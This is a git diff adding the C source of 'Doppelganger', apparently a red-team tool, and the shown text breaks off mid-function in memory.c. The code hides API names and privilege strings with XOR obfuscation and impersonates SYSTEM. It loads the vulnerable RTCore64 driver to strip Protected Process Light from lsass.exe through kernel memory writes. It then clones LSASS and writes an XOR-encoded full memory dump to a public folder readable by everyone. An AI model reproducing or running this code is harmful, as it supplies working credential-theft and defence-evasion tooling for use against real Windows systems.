+HANDLE CloneProcess(void);
+
+// Utility to retrieve PID from a process handle
+DWORD GetProcessIdFromHandle(HANDLE hProcess);
+
+// Dump LSASS
+BOOL DmpAndXor(const char* outPath, const char* key, size_t key_len);
+
+// Set read access to dump
+BOOL SetFileGenericReadAccess(const char* filePath);
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/include/logger.h b/pentest/Doppelganger/Doppelganger/include/logger.h
@@ -0,0 +1,17 @@
+#pragma once
+#include <stdio.h>
+#include <Windows.h>
+
+// Global log file handle
+extern FILE* logfile;
+
+// Initialize logging (opens the log file)
+BOOL init_logger(const char* path);
+
+// Clean up logging (closes the log file)
+void close_logger(void);
+
+// Log helpers
+void log_info(const char* fmt, ...);
+void log_error(const char* fmt, ...);
+void log_success(const char* fmt, ...);
diff --git a/pentest/Doppelganger/Doppelganger/include/memory.h b/pentest/Doppelganger/Doppelganger/include/memory.h
@@ -0,0 +1,36 @@
+#pragma once
+#include <Windows.h>
+
+typedef struct _RTCORE64_MSR_READ {
+    DWORD Register;
+    DWORD ValueHigh;
+    DWORD ValueLow;
+} RTCORE64_MSR_READ;
+
+typedef struct _RTCORE64_MEMORY_READ {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+} RTCORE64_MEMORY_READ;
+
+typedef struct _RTCORE64_MEMORY_WRITE {
+    BYTE Pad0[8];
+    DWORD64 Address;
+    BYTE Pad1[8];
+    DWORD ReadSize;
+    DWORD Value;
+    BYTE Pad3[16];
+} RTCORE64_MEMORY_WRITE;
+
+DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address);
+void  WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value);
+WORD  ReadMemoryWORD(HANDLE Device, DWORD64 Address);
+DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
+DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
+void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
+BOOL ReadMemoryBuffer(HANDLE Device, DWORD64 Address, void* Buffer, DWORD BufferSize);
+void disablePPL();
+void restorePPL();
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/include/offsets.h b/pentest/Doppelganger/Doppelganger/include/offsets.h
@@ -0,0 +1,12 @@
+#pragma once
+#include <windows.h>
+
+// Structure containing the three useful offsets
+typedef struct _Offsets {
+    DWORD64 ActiveProcessLinks;  // Offset of the ActiveProcessLinks field in _EPROCESS
+    DWORD64 ImageFileName;       // Offset of the ImageFileName field in _EPROCESS
+    DWORD64 Protection;          // Offset of the Protection (PS_PROTECTION) field in _EPROCESS
+} Offsets;
+
+// Function do get correct OS offsets
+Offsets getOffsets();
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/include/osinfo.h b/pentest/Doppelganger/Doppelganger/include/osinfo.h
@@ -0,0 +1,7 @@
+#pragma once
+
+// Retrieve kernel address
+unsigned long long getKBAddr(void);
+
+// Get OS version
+int GetOSVersion();
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/include/token.h b/pentest/Doppelganger/Doppelganger/include/token.h
@@ -0,0 +1,35 @@
+#pragma once
+
+#pragma once
+
+#include <windows.h>
+
+// SeDebugPrivilege
+static const unsigned char SE_DEBUG_ENC[] = { 0x63, 0x54, 0x76, 0x56, 0x56, 0x40, 0x51, 0x67, 0x4A, 0x50, 0x17, 0x0B, 0x0F, 0x01, 0x02, 0x03 };
+// SeImpersonatePrivilege
+static const unsigned char SE_IMP_ENC[] = { 0x63, 0x54, 0x7B, 0x5E, 0x44, 0x50, 0x44, 0x44, 0x57, 0x57, 0x00, 0x16, 0x06, 0x34, 0x17, 0x0F, 0x11, 0x01, 0x05, 0x0F, 0x57, 0x54 };
+// SeTcbPrivilege
+static const unsigned char SE_TCB_ENC[] = { 0x63, 0x54, 0x66, 0x50, 0x56, 0x65, 0x44, 0x5E, 0x4E, 0x50, 0x0D, 0x07, 0x04, 0x01 };
+
+
+
+static const unsigned char* privs[] = {
+    SE_DEBUG_ENC,
+    SE_IMP_ENC
+};
+static const size_t priv_lens[] = {
+    sizeof(SE_DEBUG_ENC),
+    sizeof(SE_IMP_ENC)
+};
+
+// Retrieves and duplicates a SYSTEM token (e.g., from winlogon.exe)
+BOOL GetSystemTokenAndDuplicate(HANDLE* hSystemToken);
+
+// Enables a specific privilege on a given token (using obfuscated name)
+BOOL EnablePrivilege(HANDLE hToken, const unsigned char* encryptedPriv, size_t encLen);
+
+// Enables all predefined privileges (e.g., SeDebugPrivilege, SeImpersonatePrivilege)
+void EnableAllPrivileges(HANDLE hToken);
+
+// Enable encrypted privilege on current process
+BOOL EnableENCPVG(const char* ENC_PRIV);
diff --git a/pentest/Doppelganger/Doppelganger/include/utils.h b/pentest/Doppelganger/Doppelganger/include/utils.h
@@ -0,0 +1,15 @@
+#pragma once
+#include <windows.h>
+#include <psapi.h>
+#include <stdio.h>
+#include "utils.h"
+
+
+extern const char* XOR_KEY;
+extern size_t key_len;
+
+char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len);
+void xor_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len);
+HMODULE LoadCleanDLL(char* dllPath);
+FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName);
+wchar_t* to_wide(const char* str);
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/src/api.c b/pentest/Doppelganger/Doppelganger/src/api.c
@@ -0,0 +1,96 @@
+#include "api.h"
+#include "utils.h"
+#include "logger.h"
+#include "defs.h"
+#include "api_strings.h"
+
+#define DECL_API_PTR(name) PFN_##name p##name = NULL
+
+DECL_API_PTR(P32F);
+DECL_API_PTR(P32N);
+DECL_API_PTR(OP);
+DECL_API_PTR(GPA);
+DECL_API_PTR(NTCPX);
+DECL_API_PTR(CTH);
+DECL_API_PTR(OPTK);
+DECL_API_PTR(DUPTOK);
+DECL_API_PTR(IMP);
+DECL_API_PTR(STT);
+DECL_API_PTR(ATP);
+DECL_API_PTR(LPVA);
+DECL_API_PTR(MDWD);
+DECL_API_PTR(GPID);
+DECL_API_PTR(GCP);
+DECL_API_PTR(CFA);
+DECL_API_PTR(DIOC);
+DECL_API_PTR(LLW);
+DECL_API_PTR(EDD);
+DECL_API_PTR(OSCM);
+DECL_API_PTR(CS);
+DECL_API_PTR(OS);
+DECL_API_PTR(SS);
+DECL_API_PTR(CSVC);
+DECL_API_PTR(DS);
+DECL_API_PTR(CSH);
+
+// internal function to resolve APIs
+static BOOL ResolveApiFromDll(HMODULE hMod, const unsigned char* enc, size_t len, void** fn) {
+    char* name = xor_decrypt_string(enc, len, XOR_KEY, key_len);
+    if (!name) return FALSE;
+
+    *fn = (void*)CustomGetProcAddress(hMod, name);
+    /* DEBUG
+    if (*fn == NULL) {
+        log_error("Failed to resolve API '%s' from module %p", name, hMod);
+    }
+    else {
+        log_info("Successfully resolved API '%s' from module %p at address %p", name, hMod, *fn);
+    }
+    */
+    free(name);
+    return (*fn != NULL);
+}
+
+// resolve all required APIs
+BOOL ResolveAllApis(void) {
+    HMODULE hKernel32 = LoadCleanDLL("kernel32.dll");
+    HMODULE hNtdll = LoadCleanDLL("ntdll.dll");
+    HMODULE hAdvapi32 = LoadCleanDLL("advapi32.dll");
+    HMODULE hDbghelp = LoadCleanDLL("dbghelp.dll");
+    HMODULE hPsapi = LoadCleanDLL("psapi.dll");
+
+    if ( !hKernel32 || !hNtdll || !hAdvapi32 || !hDbghelp || !hPsapi) {
+        log_error("Failed to load required DLLs.");
+        return FALSE;
+    }
+
+    BOOL success =
+        ResolveApiFromDll(hKernel32, P32F_ENC, sizeof(P32F_ENC), (void**)&pP32F) &&
+        ResolveApiFromDll(hKernel32, P32N_ENC, sizeof(P32N_ENC), (void**)&pP32N) &&
+        ResolveApiFromDll(hKernel32, OP_ENC, sizeof(OP_ENC), (void**)&pOP) &&
+        ResolveApiFromDll(hKernel32, GPA_ENC, sizeof(GPA_ENC), (void**)&pGPA) &&
+        ResolveApiFromDll(hNtdll, NTCPE_ENC, sizeof(NTCPE_ENC), (void**)&pNTCPX) &&
+        ResolveApiFromDll(hKernel32, CTH_ENC, sizeof(CTH_ENC), (void**)&pCTH) &&
+        ResolveApiFromDll(hAdvapi32, OPTK_ENC, sizeof(OPTK_ENC), (void**)&pOPTK) &&
+        ResolveApiFromDll(hAdvapi32, DUPTOK_ENC, sizeof(DUPTOK_ENC), (void**)&pDUPTOK) &&
+        ResolveApiFromDll(hAdvapi32, IMP_ENC, sizeof(IMP_ENC), (void**)&pIMP) &&
+        ResolveApiFromDll(hAdvapi32, STT_ENC, sizeof(STT_ENC), (void**)&pSTT) &&
+        ResolveApiFromDll(hAdvapi32, ATP_ENC, sizeof(ATP_ENC), (void**)&pATP) &&
+        ResolveApiFromDll(hAdvapi32, LPVA_ENC, sizeof(LPVA_ENC), (void**)&pLPVA) &&
+        ResolveApiFromDll(hDbghelp, MDWD_ENC, sizeof(MDWD_ENC), (void**)&pMDWD) &&
+        ResolveApiFromDll(hKernel32, GPID_ENC, sizeof(GPID_ENC), (void**)&pGPID) &&
+        ResolveApiFromDll(hKernel32, GCP_ENC, sizeof(GCP_ENC), (void**)&pGCP) &&
+        ResolveApiFromDll(hKernel32, CFA_ENC, sizeof(CFA_ENC), (void**)&pCFA) &&
+        ResolveApiFromDll(hKernel32, DIOC_ENC, sizeof(DIOC_ENC), (void**)&pDIOC)&&
+        ResolveApiFromDll(hKernel32, LLW_ENC, sizeof(LLW_ENC), (void**)&pLLW)&&
+        ResolveApiFromDll(hPsapi, EDD_ENC, sizeof(EDD_ENC), (void**)&pEDD)&&
+        ResolveApiFromDll(hAdvapi32, OSCM_ENC, sizeof(OSCM_ENC), (void**)&pOSCM) &&
+        ResolveApiFromDll(hAdvapi32, CS_ENC, sizeof(CS_ENC), (void**)&pCS) &&
+        ResolveApiFromDll(hAdvapi32, OS_ENC, sizeof(OS_ENC), (void**)&pOS) &&
+        ResolveApiFromDll(hAdvapi32, SS_ENC, sizeof(SS_ENC), (void**)&pSS) &&
+        ResolveApiFromDll(hAdvapi32, CSVC_ENC, sizeof(CSVC_ENC), (void**)&pCSVC) &&
+        ResolveApiFromDll(hAdvapi32, DS_ENC, sizeof(DS_ENC), (void**)&pDS) &&
+        ResolveApiFromDll(hAdvapi32, CSH_ENC, sizeof(CSH_ENC), (void**)&pCSH);
+
+    return success;
+}
diff --git a/pentest/Doppelganger/Doppelganger/src/driver.c b/pentest/Doppelganger/Doppelganger/src/driver.c
@@ -0,0 +1,152 @@
+#include "driver.h"
+#include "logger.h"
+#include "api.h"
+
+// =====================================================
+// Driver loading and unloading
+// =====================================================
+
+// Helper function to open the Service Control Manager with the specified access rights
+static SC_HANDLE OpenSCManagerHandle(DWORD dwAccess) {
+    SC_HANDLE hSCM = pOSCM(NULL, NULL, dwAccess);
+    if (!hSCM) {
+        log_error("OSCM failed. Error code: %lu", GetLastError());
+    }
+    return hSCM;
+}
+
+// Helper function to create or open the driver service
+static SC_HANDLE CreateOrOpenDriverService(SC_HANDLE hSCM, const char* driverName, const char* driverPath) {
+    SC_HANDLE hService = pCS(
+        hSCM,
+        driverName,          // Internal service name
+        driverName,          // Display name
+        SERVICE_ALL_ACCESS,
+        SERVICE_KERNEL_DRIVER,
+        SERVICE_DEMAND_START,
+        SERVICE_ERROR_IGNORE,
+        driverPath,          // Full path to the driver file
+        NULL, NULL, NULL, NULL, NULL
+    );
+    if (!hService) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_EXISTS) {
+            hService = pOS(hSCM, driverName, SERVICE_ALL_ACCESS);
+            if (hService) {
+                log_success("Existing service opened successfully.");
+            }
+            else {
+                log_error("Unable to open the existing service. Error code: %lu", GetLastError());
+            }
+        }
+        else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
+            log_error("Service is marked for deletion.");
+        }
+        else {
+            log_error("CS error. Error code: %lu", err);
+        }
+    }
+    else {
+        log_success("Service created successfully.");
+    }
+    return hService;
+}
+
+// Function to load and start the driver
+int LoadAndStartDriver(void) {
+    SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_CREATE_SERVICE);
+    if (!hSCM)
+        return 1;
+
+    SC_HANDLE hService = CreateOrOpenDriverService(hSCM, DRIVER_NAME, DRIVER_PATH);
+    if (!hService) {
+        pCSH(hSCM);
+        return 1;
+    }
+
+    // Start the driver service
+    if (!pSS(hService, 0, NULL)) {
+        DWORD err = GetLastError();
+        if (err != ERROR_SERVICE_ALREADY_RUNNING) {
+            log_error("SS error. Error code: %lu", err);
+            pDS(hService);
+            pCSH(hService);
+            pCSH(hSCM);
+            return 1;
+        }
+        else {
+            log_info("Driver is already loaded.");
+        }
+    }
+    else {
+        log_success("Driver loaded and started successfully.");
+    }
+
+    // Close the handles
+    pCSH(hService);
+    pCSH(hSCM);
+    return 0;
+}
+
+// Function to stop and unload the driver
+int StopAndUnloadDriver(const char* driverName) {
+    SC_HANDLE hSCM = OpenSCManagerHandle(SC_MANAGER_ALL_ACCESS);
+    if (!hSCM)
+        return 1;
+
+    SC_HANDLE hService = pOS(hSCM, driverName, SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS);
+    if (!hService) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
+            log_error("Service does not exist.");
+            pCSH(hSCM);
+            return 0;
+        }
+        else if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
+            log_info("Service is already marked for deletion.");
+            pCSH(hSCM);
+            return 0;
+        }
+        else {
+            log_error("Error: %lu.", err);
+            pCSH(hSCM);
+            return 0;
+        }
+    }
+
+    SERVICE_STATUS status;
+    if (!pCSVC(hService, SERVICE_CONTROL_STOP, &status)) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_NOT_ACTIVE) {
+            log_info("The service is not active.");
+        }
+        else {
+            log_error("ControlService (stop) failed. Error code: %lu", err);
+        }
+    }
+    else {
+        log_success("Service stopped successfully.");
+    }
+
+    // Attempt to delete the service
+    if (!pDS(hService)) {
+        DWORD err = GetLastError();
+        if (err == ERROR_SERVICE_MARKED_FOR_DELETE) {
+            log_info("Service is already marked for deletion.");
+        }
+        else {
+            log_error("DeleteService failed. Error code: %lu", err);
+            pCSH(hService);
+            pCSH(hSCM);
+            return 1;
+        }
+    }
+    else {
+        log_success("Service deleted successfully.");
+    }
+
+    // Close the handles
+    pCSH(hService);
+    pCSH(hSCM);
+    return 0;
+}
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/src/dump.c b/pentest/Doppelganger/Doppelganger/src/dump.c
@@ -0,0 +1,223 @@
+#include "defs.h"
+#include "dump.h"
+#include "logger.h"
+#include "api.h"
+#include "utils.h"
+
+// ==================================
+// Cloning LSASS
+// ==================================
+
+HANDLE CloneLsassProcess() {
+    HANDLE hSnapshot = pCTH(TH32CS_SNAPPROCESS, 0);
+    if (hSnapshot == INVALID_HANDLE_VALUE)
+        return NULL;
+
+    PROCESSENTRY32W pe = { 0 };
+    pe.dwSize = sizeof(PROCESSENTRY32W);
+    HANDLE hLsass = NULL;
+    if (pP32F(hSnapshot, &pe)) {
+        do {
+            if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
+                hLsass = pOP(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID);
+                break;
+            }
+        } while (pP32N(hSnapshot, &pe));
+    }
+    CloseHandle(hSnapshot);
+    log_info("Found process: %ls (PID: %lu)", pe.szExeFile, pe.th32ProcessID);
+
+    if (!hLsass) {
+        log_error("Failed to open lsass.exe");
+        return NULL;
+    }
+
+    HMODULE ntdll = LoadCleanDLL("ntdll.dll");
+    if (!ntdll) return NULL;
+
+
+    HANDLE hClone = NULL;
+
+    OBJECT_ATTRIBUTES objAttr;
+    InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
+
+    NTSTATUS status = pNTCPX(
+        &hClone,
+        PROCESS_ALL_ACCESS,
+        &objAttr,
+        hLsass,
+        0,
+        NULL,
+        NULL,
+        NULL,
+        FALSE
+    );
+
+    CloseHandle(hLsass);
+
+    if (status != 0) {
+        log_error("pNTCPX failed : 0x % X", status);
+        return NULL;
+    }
+
+    log_success("Successfully cloned process, handle: 0x%p", hClone);
+    return hClone;
+}
+
+// Get PID
+DWORD GetProcessIdFromHandle(HANDLE hProcess) {
+    return pGPID(hProcess);
+}
+
+// ==================================
+// Dumping LSASS in memory
+// ==================================
+
+// Xoring LSASS
+LPVOID dumpBuffer = NULL;
+DWORD dumpSize = 0;
+
+BOOL InitializeDumpBuffer() {
+    dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 200); // Dynamic allocation (200MB)
+    if (dumpBuffer == NULL) {
+        log_error("Failed to allocate memory for dump buffer");
+        return FALSE;
+    }
+    return TRUE;
+}
+
+// Callback routine that we be called by the MiniDumpWriteDump function
+BOOL CALLBACK DumpCallbackRoutine(PVOID CallbackParam, const PMINIDUMP_CALLBACK_INPUT CallbackInput, PMINIDUMP_CALLBACK_OUTPUT CallbackOutput) {
+    LPVOID destination = 0;
+    LPVOID source = 0;
+    DWORD bufferSize = 0;
+    switch (CallbackInput->CallbackType) {
+    case IoStartCallback:
+        CallbackOutput->Status = S_FALSE;
+        log_info("Starting dump to memory buffer");
+        break;
+    case IoWriteAllCallback:
+        // Buffer holding the current chunk of dump data
+        source = CallbackInput->Io.Buffer;
+
+        // Calculate the memory address we need to copy the chunk of dump data to based on the current dump data offset
+        destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)CallbackInput->Io.Offset);
+
+        // Size of the current chunk of dump data
+        bufferSize = CallbackInput->Io.BufferBytes;
+
+        // Copy the chunk data to the appropriate memory address of our allocated buffer
+        RtlCopyMemory(destination, source, bufferSize);
+        dumpSize += bufferSize; // Incremeant the total size of the dump with the current chunk size
+
+        //printf("[+] Copied %i bytes to memory buffer\n", bufferSize);
+
+        CallbackOutput->Status = S_OK;
+        break;
+    case IoFinishCallback:
+        CallbackOutput->Status = S_OK;
+        log_success("Copied %i bytes to memory buffer", dumpSize);
+        break;
+    }
+    return TRUE;
+}
+
+
+
+BOOL DumpAndXorLsass(const char* outPath, const char* key, size_t key_len) {
+    HANDLE hClone = CloneLsassProcess();
+    if (!hClone) {
+        log_error("Failed to clone.");
+        return FALSE;
+    }
+
+    DWORD clonedPID = GetProcessId(hClone);
+
+    if (!InitializeDumpBuffer()) {
+        return FALSE; 
+    }
+
+    // Callback configuration
+    MINIDUMP_CALLBACK_INFORMATION mci;
+    mci.CallbackRoutine = DumpCallbackRoutine;
+    mci.CallbackParam = (PVOID)key; // key passed as parameter
+
+    // Dump
+    BOOL dumped = pMDWD(
+        hClone,
+        clonedPID,
+        NULL,
+        MiniDumpWithFullMemory,
+        NULL,
+        NULL,
+        &mci
+    );
+
+    if (!dumped) {
+        log_error("Dump failed. Error: %lu", GetLastError());        
+        HeapFree(GetProcessHeap(), 0, dumpBuffer);
+        return FALSE;
+    }
+
+    // Xoring the buffer
+    xor_buffer(dumpBuffer, dumpSize, key, key_len);
+
+    // Create file on disk
+    HANDLE dumpFile = pCFA(outPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
+    if (dumpFile == INVALID_HANDLE_VALUE) {
+        log_error("Failed to create output file. Error: %lu", GetLastError());
+        HeapFree(GetProcessHeap(), 0, dumpBuffer);
+        return FALSE;
+    }
+
+    // Write buffer on file
+    DWORD bytesWritten = 0;
+    BOOL writeSuccess = WriteFile(dumpFile, dumpBuffer, dumpSize, &bytesWritten, NULL);
+    CloseHandle(dumpFile);
+
+    if (!writeSuccess || bytesWritten != dumpSize) {
+        log_error("Failed to write XORed dump to file. Error: %lu", GetLastError());
+        HeapFree(GetProcessHeap(), 0, dumpBuffer);
+        return FALSE;
+    }
+
+    log_success("XOR'd dump written to %s successfully", outPath);
+    
+    HeapFree(GetProcessHeap(), 0, dumpBuffer);
+    dumpBuffer = NULL;
+    dumpSize = 0;
+
+    return TRUE;
+}
+
+// ==================================
+// Set read access for everyone
+// ==================================
+
+BOOL SetFileGenericReadAccess(const char* filePath) {
+    EXPLICIT_ACCESS ea = { 0 };
+    PACL pNewDACL = NULL;
+
+    ea.grfAccessPermissions = GENERIC_READ;
+    ea.grfAccessMode = SET_ACCESS;
+    ea.grfInheritance = NO_INHERITANCE;
+    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
+    ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
+    ea.Trustee.ptstrName = L"Everyone";
+
+    DWORD dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDACL);
+    if (dwRes != ERROR_SUCCESS) return FALSE;
+
+    dwRes = SetNamedSecurityInfoA(
+        (LPSTR)filePath,
+        SE_FILE_OBJECT,
+        DACL_SECURITY_INFORMATION,
+        NULL, NULL, pNewDACL, NULL
+    );
+
+    if (pNewDACL)
+        LocalFree(pNewDACL);
+
+    return dwRes == ERROR_SUCCESS;
+}
+
diff --git a/pentest/Doppelganger/Doppelganger/src/logger.c b/pentest/Doppelganger/Doppelganger/src/logger.c
@@ -0,0 +1,51 @@
+#define _CRT_SECURE_NO_WARNINGS
+#include "logger.h"
+#include <stdarg.h>
+
+FILE* logfile = NULL;
+
+// Open log file and disable buffering
+BOOL init_logger(const char* path) {
+    logfile = fopen(path, "a");
+    if (!logfile) return FALSE;
+    setvbuf(logfile, NULL, _IONBF, 0); // Disable buffering
+    return TRUE;
+}
+
+// Close log file
+void close_logger(void) {
+    if (logfile) {
+        fclose(logfile);
+        logfile = NULL;
+    }
+}
+
+// Internal log formatter
+static void log_formatted(const char* prefix, const char* fmt, va_list args) {
+    if (!logfile) return;
+
+    fprintf(logfile, "[%s] ", prefix);
+    vfprintf(logfile, fmt, args);
+    fprintf(logfile, "\n");
+}
+
+void log_info(const char* fmt, ...) {
+    va_list args;
+    va_start(args, fmt);
+    log_formatted("*", fmt, args);
+    va_end(args);
+}
+
+void log_error(const char* fmt, ...) {
+    va_list args;
+    va_start(args, fmt);
+    log_formatted("ERROR", fmt, args);
+    va_end(args);
+}
+
+void log_success(const char* fmt, ...) {
+    va_list args;
+    va_start(args, fmt);
+    log_formatted("+", fmt, args);
+    va_end(args);
+}
diff --git a/pentest/Doppelganger/Doppelganger/src/main.c b/pentest/Doppelganger/Doppelganger/src/main.c
@@ -0,0 +1,77 @@
+#define _CRT_SECURE_NO_WARNINGS
+#include "defs.h"
+#include "api.h"
+#include "driver.h"
+#include "token.h"
+#include "memory.h"
+#include "utils.h"
+#include "dump.h"
+#include "logger.h"
+
+int main(void)
+{
+    // Initialize logger
+    logfile = fopen("C:\\Users\\Public\\log.txt", "a");
+    setvbuf(logfile, NULL, _IONBF, 0); // Disable buffering
+
+    // Resolve required API functions
+    if (!ResolveAllApis()) {
+        log_error("Failed to resolve required APIs.");
+        return 1;
+    }
+
+    // Get SeDebugPrivilege
+    if (!EnableENCPVG(SE_DEBUG_ENC)) {
+        log_error("Failed to acquire needed privileges.");
+        // return 1;
+    }
+
+    // Impersonate SYSTEM
+    HANDLE hSystemToken = NULL;
+    if (!GetSystemTokenAndDuplicate(&hSystemToken)) {
+        log_error("Failed to duplicate SYSTEM token.");
+        return 1;
+    }
+
+    if (!pIMP(hSystemToken)) {
+        log_error("ImpersonateLoggedOnUser failed.");
+        return 1;
+    }
+
+    if (!pSTT(NULL, hSystemToken)) {
+        log_error("SetThreadToken failed.");
+        return 1;
+    }
+
+    log_info("Running as SYSTEM.");
+
+    // Load driver and disable PPL
+    if (LoadAndStartDriver() != 0) {
+        log_error("Failed to load driver.");
+        return 1;
+    }
+
+    disablePPL();
+
+    // Clone LSASS and create XOR'd dump
+    if (!DumpAndXorLsass("C:\\Users\\Public\\doppelganger.dmp", XOR_KEY, key_len)) {
+        log_error("Failed to dump and XOR LSASS.");
+        StopAndUnloadDriver(DRIVER_NAME);
+        return 1;
+    }
+
+    restorePPL();
+
+    // Set GENERIC_READ permissions to "Everyone"
+    if (!SetFileGenericReadAccess("C:\\Users\\Public\\doppelganger.dmp")) {
+        log_error("Could not set GENERIC_READ permissions for Everyone.");
+    }
+
+    // Unload the driver
+    StopAndUnloadDriver(DRIVER_NAME);
+
+    // Done
+    log_info("Execution completed successfully.");
+    fclose(logfile);
+    return 0;
+}
diff --git a/pentest/Doppelganger/Doppelganger/src/memory.c b/pentest/Doppelganger/Doppelganger/src/memory.c
@@ -0,0 +1,237 @@
+#include "memory.h"
+#include "driver.h"
+#include "logger.h"
+#include "offsets.h"
+#include "osinfo.h"
+#include "utils.h"
+#include "defs.h"
+#include "api.h"
+#include <string.h>
+
+// =====================================================
+// Memory Access Primitives via RTCore64
+// =====================================================
+
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+_Static_assert(sizeof(RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
+_Static_assert(sizeof(RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
+_Static_assert(sizeof(RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
+#endif
+
+DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
+    RTCORE64_MEMORY_READ memRead = { 0 };
+    memRead.Address = Address;
+    memRead.ReadSize = Size;
+    DWORD BytesReturned;
+    pDIOC(Device,
+        RTC64_MEMORY_READ_CODE,
+        &memRead,
+        sizeof(memRead),
+        &memRead,
+        sizeof(memRead),
+        &BytesReturned,
+        NULL);
+    return memRead.Value;
+}
+
+void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
+    RTCORE64_MEMORY_WRITE memWrite = { 0 };
+    memWrite.Address = Address;
+    memWrite.ReadSize = Size;
+    memWrite.Value = Value;
+    DWORD BytesReturned;
+    pDIOC(Device,
+        RTC64_MEMORY_WRITE_CODE,
+        &memWrite,
+        sizeof(memWrite),
+        &memWrite,
+        sizeof(memWrite),
+        &BytesReturned,
+        NULL);
+}
+
+WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
+    return (WORD)(ReadMemoryPrimitive(Device, 2, Address) & 0xffff);
+}
+
+DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
+    return ReadMemoryPrimitive(Device, 4, Address);
+}
+
+DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
+    return (((DWORD64)ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
+}
+
+void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
+    WriteMemoryPrimitive(Device, 4, Address, (DWORD)(Value & 0xffffffff));
+    WriteMemoryPrimitive(Device, 4, Address + 4, (DWORD)(Value >> 32));
+}
+
+// Helper function to read a memory buffer in 4-byte chunks
+BOOL ReadMemoryBuffer(HANDLE Device, DWORD64 Address, void* Buffer, DWORD BufferSize) {
+    DWORD numDwords = BufferSize / 4;
+    DWORD remainder = BufferSize % 4;
+    for (DWORD i = 0; i < numDwords; i++) {
+        ((DWORD*)Buffer)[i] = ReadMemoryDWORD(Device, Address + i * 4);
+    }
+    if (remainder) {
+        DWORD value = ReadMemoryPrimitive(Device, remainder, Address + numDwords * 4);
+        memcpy((BYTE*)Buffer + numDwords * 4, &value, remainder);
+    }
+    return TRUE;
+}
+
+// =====================================================
+// Functions to disable PPL on lsass.exe 
+// =====================================================
+
+BYTE OriginalSigLv = 0x00;
+BYTE OriginalSecSigLv = 0x00;
+BYTE OriginalProt = 0x00;
+DWORD64 SavedEproc = 0;
+
+void disablePPL() {
+    Offsets offs = getOffsets();
+    if (offs.ActiveProcessLinks == 0 || offs.ImageFileName == 0 || offs.Protection == 0) {
+        log_error("Offset not mapped... exiting!");
+        exit(1);
+    }
+
+    // \\.\RTCore64
+    const unsigned char dev_enc[] = { 0x6C, 0x6D, 0x1C, 0x6F, 0x66, 0x61, 0x75, 0x58, 0x4A, 0x5C, 0x57, 0x56 }; 
+    char* dev_path = xor_decrypt_string(dev_enc, sizeof(dev_enc), XOR_KEY, key_len);
+
+    
+    HANDLE Device = pCFA(dev_path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+    free(dev_path);
+    
+    if (Device == INVALID_HANDLE_VALUE) {
+        log_error("Unable to obtain a handle to the device object");
+        return;
+    }
+    log_info("Device handle obtained");
+    
+    DWORD64 ntBase = getKBAddr();
+    log_info("Ker base address: 0x%llx", ntBase);
+    
+    // LoadLibraryW("ntoskrnl.exe")
+    const unsigned char nt_enc[] = { 0x5E, 0x45, 0x5D, 0x40, 0x5F, 0x47, 0x58, 0x5B, 0x16, 0x5C, 0x19, 0x07 };
+    char* nt_path = xor_decrypt_string(nt_enc, sizeof(nt_enc), XOR_KEY, key_len);
+    wchar_t* nt_pathW = to_wide(nt_path);
+    HMODULE hNtoskrnl = pLLW(nt_pathW);
+    free(nt_path); free(nt_pathW);
+    
+    if (!hNtoskrnl) {
+        log_error("Failed to load Ker");
+        CloseHandle(Device);
+        return;
+    }
+    
+    // GetProcAddress("PsInitialSystemProcess")
